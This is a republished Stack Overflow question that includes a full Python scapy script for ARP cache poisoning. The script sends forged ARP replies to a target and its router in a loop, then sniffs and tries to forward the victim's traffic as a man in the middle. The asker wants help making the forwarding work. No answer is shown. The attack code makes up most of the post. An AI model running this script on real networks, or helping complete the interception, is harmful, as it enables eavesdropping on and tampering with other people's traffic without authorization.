'python scapy arp poisning redirection

I got a working arp poisoning in python using scapy, it changes the arp cache on the target machine. I want to be able to forward the packets that I'm receiving because I became a MITM. For some reason, scapy doesn't send the packets I'm wanting to send to the right machine and the target machine just loses connectivity to the internet.

import scapy.all as scapy
import threading
import time


def find_mac(ip):
    mac = None
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=5, verbose=False)[0]
    response = str(answered_list).split("Other:")[1].replace(">", "")

    if response != '0':
        mac = answered_list[0][1].hwsrc

    return mac


my_ip = ""
target_ip = ""
router_ip = ""

my_mac = find_mac(my_ip)
target_mac = find_mac(target_ip)
router_mac = find_mac(router_ip)


def check_packet(packet):
    try:
        src_ip = packet[0][scapy.IP].src
        dst_ip = packet[0][scapy.IP].dst
    except:
        src_ip = None
        dst_ip = None

    if (src_ip == target_ip or dst_ip == target_ip) and packet[0][scapy.Ether].dst == my_mac:
        print("dst " + packet[0][scapy.Ether].dst)
        print("src " + packet[0][scapy.Ether].src)

        threading.Thread(target=redirecect, args=(packet,)).start()


def spoof(victim_packet, router_packet):
    while True:
        scapy.sendp(victim_packet, verbose=False)
        scapy.sendp(router_packet, verbose=False)
        time.sleep(3)


def redirecect(packet):
    src_ip = packet[0][scapy.IP].src
    if src_ip == target_ip:
        packet[0][scapy.Ether].dst = router_mac
    else:
        packet[0][scapy.Ether].dst = target_mac
    packet.show()
    scapy.sr(packet, verbose=False)  # ,verbose=False


print("my " + my_mac)
print("target " + target_mac)
print("router " + router_mac)

victim_ether = scapy.Ether(src=router_mac, dst=target_mac)
victim_arp = scapy.ARP(op=2, psrc=router_ip, pdst=target_ip,
                       hwdst=target_mac)
router_ether = scapy.Ether(src=target_mac, dst=router_mac)
router_arp = scapy.ARP(op=2, psrc=target_ip, pdst=router_ip,
                       hwdst=router_mac)

victim_packet = victim_ether / victim_arp
router_packet = router_ether / router_arp

threading.Thread(target=spoof, args=(victim_packet, router_packet)).start()

while True:
    packet = scapy.sniff(count=1)
    threading.Thread(target=check_packet, args=(packet,)).start()
   

It writes "WARNING: Mac address to reach destination not found. Using broadcast." most of the time and it seems like my computer arp cache is being spoofed as well.

What do I need to do so my code would send the packets correctly?



Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source